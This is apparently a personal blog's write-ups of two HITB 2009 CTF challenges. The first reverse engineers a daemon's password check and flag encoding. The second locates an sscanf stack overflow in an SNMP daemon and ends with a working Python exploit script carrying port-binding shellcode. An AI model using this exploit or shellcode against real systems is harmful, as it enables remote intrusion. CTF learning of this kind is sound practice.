HITB Daemon1 Solution
Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.
home suto # netstat -tulpan Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN 6174/daemon1
So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.
.text:080494F1 push eax .text:080494F2 call _recv .text:080494F7 add esp, 10h .text:080494FA cmp eax, 0 .text:080494FD jle loc_80495D2 .text:08049503 push esi .text:08049504 push eax .text:08049505 lea esi, [ebp-538h] .text:0804950B push esi .text:0804950C mov ecx, [ebp-548h] .text:08049512 push ecx .text:08049513 call sub_804A2B0 .text:08049518 mov eax, offset aIcvykbmukcrwdp ; "iCvYkBMuKcrwDPkAqmCFgOKVeV34" .text:0804951D mov ecx, 1Ch .text:08049522 cld .text:08049523 mov esi, [ebp-560h] .text:08049529 mov edi, eax .text:0804952B repe cmpsb .text:0804952D setnbe dl .text:08049530 setb al .text:08049533 add esp, 10h .text:08049536 cmp dl, al .text:08049538 jnz loc_80495FF .text:0804953E call sub_8048F10 .text:08049543 push 0 .text:08049545 sub esp, 8 .text:08049548 push offset s .text:0804954D call _strlen .text:08049552 add esp, 0Ch .text:08049555 push eax .text:08049556 push offset s .text:0804955B .text:0804955B loc_804955B: ; CODE XREF: .text:08049608j .text:0804955B mov edx, [ebp-548h] .text:08049561 push edx .text:08049562 call _send
And here is what sub_8048F10 does:
lea edi, [ebp+var_40] mov esi, offset unk_80553D2 mov ecx, edx rep movsd mov ax, ds:word_80553EA mov [edi], ax push (offset aSocketError+0Bh) ; modes push offset filename ; "/home/d1/errorcode.txt" call _fopen <snip>
The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.
home suto #nc localhost 4444 iCvYkBMuKcrwDPkAqmCFgOKVeV34 ddddddddddPfddddfdssqpfdddddddddhfh
“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).
After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.
Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh
Input: 2
Output: ddddddddddPfdddddfdssqpfhfh
Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh
Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh
==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.
9
ddddddddddPfdddddfdssqpfdddddddhfh
Next, we test with 2 numbers:
24
ddddddddddPfdddddfdssqpfhddhfh
3 numbers:
247
ddddddddddPfdddddfdssqpfhddhdddhfh
We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:
247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?
From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq
Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).
35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh
Why 3? You answer yourself !
Now we come back to special cases for number 1 and 0
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
The different parts are marked with Red color.
Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh
358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh
35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh
So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.
Another test:
4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)
hd(5) hf(1)hs qq(3) hd(4) hffh
Now replace the number 1 with 0 from previous input:
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)
hf(0)hsqq(3) hd(4)hffh
We see 0 is quite similar to 1 with one ‘d’ less.
Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.
And it’s all about daemon1 in HITB CTF 2009!
HITB 2009 CTF Daemon6’s Solution
December 8, 2009 by suto · Leave a Comment
This is the solution for daemon 06 of HITB 2009 CTF game. Note that I didn’t participate CLGT team at HITB 2009 CTF this year. I just played with the binaries after the conference to learn and practice myself.
For a short summary, daemon 06 is a SNMP Daemon listening on port 7272 with a basic buffer overflow bug in the SNMP packet handling function.
[snmpd v2.1] SNMP Daemon Started Attempting to listen on port 7272..Ready
I started learning and reading some papers about SNMP protocol. Basically, SNMP packet follow basic encoding rules. The most fundamental rule states that each field is encoded in three parts: Type, Length, and Data.
- Type specifies the data type of the field using a single byte identifier.
- Length specifies the length in bytes of the following Data section
- Data is the actual value communicated.
Next, I build a packet with a very large content and send to this daemon to check out for trivial overflow bug.
Type: 0×30 because it is a sequence of bytes
Length: 0xff ( to make largest packet as i can )
Data: I use a special string generate by Metasploit.
Here is script:
#!/usr/bin/python from socket import * import struct host = "localhost" port = 7272 shellcode="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A" payload = "\x30\xff"+shellcode sock = socket(AF_INET,SOCK_DGRAM) sock.sendto(payload,(host,port)) sock.close()
After launching this script, I saw daemon6 got segfault.
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7e726c0 (LWP 23375)] 0x62413862 in ?? () (gdb)
So I change this string “b8Ab” in script to AAAA to re-check. And:
Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7e726c0 (LWP 23385)] 0x41414141 in ?? ()
Now I can control execution flow of program and now is the time to find out what caused of this vuln. Launch IDA and search for all occurences of Recv

Follow recvfrom function
.text:0804D610 call _recvfrom .text:0804D615 add esp, 20h .text:0804D618 test eax, eax .text:0804D61A js recvfromerror .text:0804D620 .text:0804D620 loc_804D620: ; CODE XREF: .text:0804D870j .text:0804D620 push ecx .text:0804D621 push 0FCh .text:0804D626 push 0 .text:0804D628 push ebx .text:0804D629 call _memset .text:0804D62E pop eax .text:0804D62F pop edx .text:0804D630 push ebx .text:0804D631 lea eax, [ebp-0CB0h] .text:0804D637 push eax .text:0804D638 call sub_804CC90
Now I use GDB to check if function at 0×0804cc90 is vulnerable.
(gdb) b *0x0804D637 Breakpoint 1 at 0x804d637 (gdb) r Starting program: /home/d6/daemon6 (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) [Thread debugging using libthread_db enabled] (no debugging symbols found) [snmpd v2.1] SNMP Daemon Started Attempting to listen on port 7272..Ready [New Thread 0xb7dd26c0 (LWP 13501)] [New Thread 0xb7d63b90 (LWP 13504)] [Switching to Thread 0xb7dd26c0 (LWP 13501)] Breakpoint 1, 0x0804d637 in ?? () (gdb) x/4i $eip 0x804d637 <difftime@plt+17679>: push %eax 0x804d638 <difftime@plt+17680>: call 0x804cc90 <difftime@plt+15208> 0x804d63d <difftime@plt+17685>: add $0x10,%esp 0x804d640 <difftime@plt+17688>: mov 0x805c1b0,%eax (gdb) b *0x804d63d Breakpoint 2 at 0x804d63d (gdb) c Continuing. incorrect request Program received signal SIGSEGV, Segmentation fault. 0x62413862 in ?? ()
Check arguments of this function:
(gdb) x/2x $esp 0xbfb43980: 0xbfb43998 0xbfb44278 (gdb) x/x 0xbfb43998 0xbfb43998: 0x6141ff30 (gdb) x/s 0xbfb43998 0xbfb43998: "0�Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5"... (gdb)
yes, this is my packet payload!
Here is the source of this function using Hexrays:
void *__cdecl sub_804CC90(const char *a1, int a2)
{
int v3; // ST0C_4@6
int v4; // ST10_4@6
int v5; // ST14_4@6
char s; // [sp+1Eh] [bp-1FEh]@1
int v7; // [sp+20Ch] [bp-10h]@1
char v8; // [sp+1E8h] [bp-34h]@1
int v9; // [sp+118h] [bp-104h]@1
int v10; // [sp+208h] [bp-14h]@1
char src; // [sp+198h] [bp-84h]@5
memset(&s, 0, 0xFAu);
if ( sscanf(a1, "%d %s %s %s %d", &v7, &v8, &s, &v9, &v10) != 5 )
{
puts("incorrect request");
return (void *)-1;
}
if ( v7 < 0 || v7 > 1 && v7 != 3 )
{
sub_804CBC0((int)&s, (int)&src);
LABEL_9:
v5 = a2;
v4 = (int)&v9;
v3 = 2;
goto LABEL_10;
}
if ( sub_804CBC0((int)&s, (int)&src) < 0 )
goto LABEL_9;
v5 = a2;
v4 = (int)&v9;
v3 = 0;
LABEL_10:
sub_804CB30(&v8, v7, v10, v3, v4, v5);
return memcpy((void *)(a2 + 44), &src, 0x50u);
}
sscanf seems to be a potential vulnerable. Lets try to break before and after this function to see different on stack :
Before:
(gdb) x/200x $esp 0xbfc352b0: 0xbfc35508 0x0805a300 0xbfc354d8 0xbfc354b4 0xbfc352c0: 0xbfc352ea 0xbfc353e4 0xbfc354d4 0xb7f27e78 0xbfc352d0: 0x00000001 0xb7f70fc4 0xb7f3f1b8 0x7972d654 0xbfc352e0: 0xbfc353b4 0xb7f5d999 0x000053a4 0x00000000 0xbfc352f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35300: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35310: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35320: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35330: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35340: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35350: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35360: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35370: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35380: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc35390: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353a0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353b0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353c0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353d0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfc353e0: 0x00000000 0xb7f3bff4 0xb7d75b90 0xb7d754d0 0xbfc353f0: 0xbfc35458 0xb7f681e0 0xbfc35474 0xbfc35468 0xbfc35400: 0xb7d754d0 0xb7d75b90 0xbfc354b0 0xb7f71658 0xbfc35410: 0x080488cc 0xb7d754d0 0x00000000 0x00000000 0xbfc35420: 0xb7d75bd8 0xbfc3543c 0xb7d75bd8 0x00000001 0xbfc35430: 0xb7ded684 0xb7f37380 0xb7d75b90 0x00000006 0xbfc35440: 0xbfc354b8 0x00000001 0x00000081 0xb7f337d6 0xbfc35450: 0x00000000 0xb7d754b4 0xb7f3bff4 0xb7f2d4b6 0xbfc35460: 0x003d0f00 0xb7f2d080 0xb7f283d8 0xb7f3f000 0xbfc35470: 0xffffffff 0xffffffff 0xb7f70fc4 0xb7f71658 0xbfc35480: 0x08048620 0xbfc354c0 0xb7f62616 0xb7f71810 0xbfc35490: 0xb7f3f5b0 0x00000001 0x00000005 0x00000000 0xbfc354a0: 0x080488cc 0x00000000 0x0805c0dc 0x00000005 0xbfc354b0: 0xb7f283d8 0xbfc35de8 0xbfc35cd8 0xbfc35fe0 0xbfc354c0: 0xbfc361b8 0xb7f681e0 0xbfc361b8 0xbfc35de8 0xbfc354d0: 0xbfc361b8 0xb7f33e90 0xbfc35cd8 0xbfc35de8 0xbfc354e0: 0xbfc35cd8 0xbfc35fe0 0xbfc361b8 0x0804d63d
And after the overflow, lets see the value of char v8; // [sp+1E8h] [bp-34h]@1 is :
(gdb) x/20x $ebp-0x34 0xbfc354b4: 0x306141ff 0x41316141 0x61413261 0x34614133 0xbfc354c4: 0x41356141 0x61413661 0x38614137 0x41396141 0xbfc354d4: 0x62413062 0x32624131 0x41336241 0x62413462 0xbfc354e4: 0x36624135 0x41376241 0x62413862 0x30634139 0xbfc354f4: 0x41316341 0x63413263 0x34634133 0x41356341
/xff+”Aa0Aa1Aa…. -> is our string. So we can see sscanf() causes buffer overflow. We will stepi after sscanf and see:
(gdb) x/4i $eip 0x804cce9 <difftime@plt+15297>: mov $0xffffffff,%eax 0x804ccee <difftime@plt+15302>: lea -0xc(%ebp),%esp 0x804ccf1 <difftime@plt+15305>: pop %ebx 0x804ccf2 <difftime@plt+15306>: pop %esi (gdb) stepi 0x0804ccee in ?? () (gdb) stepi 0x0804ccf1 in ?? () (gdb) x/4x $esp 0xbfdb7fbc: 0x41336241 0x62413462 0x36624135 0x41376241 (gdb) x/i $eip 0x804ccf1 <difftime@plt+15305>: pop %ebx (gdb) stepi 0x0804ccf2 in ?? () (gdb) x/4i $eip 0x804ccf2 <difftime@plt+15306>: pop %esi 0x804ccf3 <difftime@plt+15307>: pop %edi 0x804ccf4 <difftime@plt+15308>: pop %ebp 0x804ccf5 <difftime@plt+15309>: ret (gdb) stepi 0x0804ccf3 in ?? () (gdb) stepi 0x0804ccf4 in ?? () (gdb) stepi <p>Breakpoint 7, 0x0804ccf5 in ?? () (gdb) x/4x $esp 0xbfdb7fcc: 0x62413862 0x30634139 0x41316341 0x63413263 (gdb) x/i $eip 0x804ccf5 <difftime@plt+15309>: ret (gdb)
Now it will return on 0×62413862. It’s a basic buffer overflow!
And here is my exploit code (shellcode is a port-binding shellcode on port 4444):
#!/usr/bin/python from socket import * import struct host = "localhost" port = 7272 shellcode ="AAAa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab\xe0\xe6\xff\xbf"+"\x90"*900+"\xb8\xb6\x0a\x95\x0e\xd9\xf7\xd9\x74\x24\xf4\x31\xc9\x5d\xb1\x14\x83\xed\xfc\x31\x45\x10\x03\x45\x10\x54\xff\xa4\xd5\x6f\xe3\x94\xaa\xdc\x8e\x18\xa4\x03\xfe\x7b\x7b\x43\xa4\xdd\xd1\x2b\xa4\xe0\xc4\xf7\x30\xf5\xb7\x57\x4c\x14\x5d\x31\x16\x1a\x22\x34\xe7\xa0\x90\x42\x58\xce\x1b\xca\xdb\xbf\xc2\x07\x5b\x2c\x53\xfd\x63\x0b\xa9\x81\xd5\xd2\xc9\xe9\xca\x0b\x59\x81\x7c\x7b\xff\x38\x13\x0a\x1c\xea\xb8\x85\x02\xba\x34\x5b\x44" payload = "\x30\xff"+shellcode sock = socket(AF_INET,SOCK_DGRAM) sock.sendto(payload,(host,port)) sock.close()
And result :


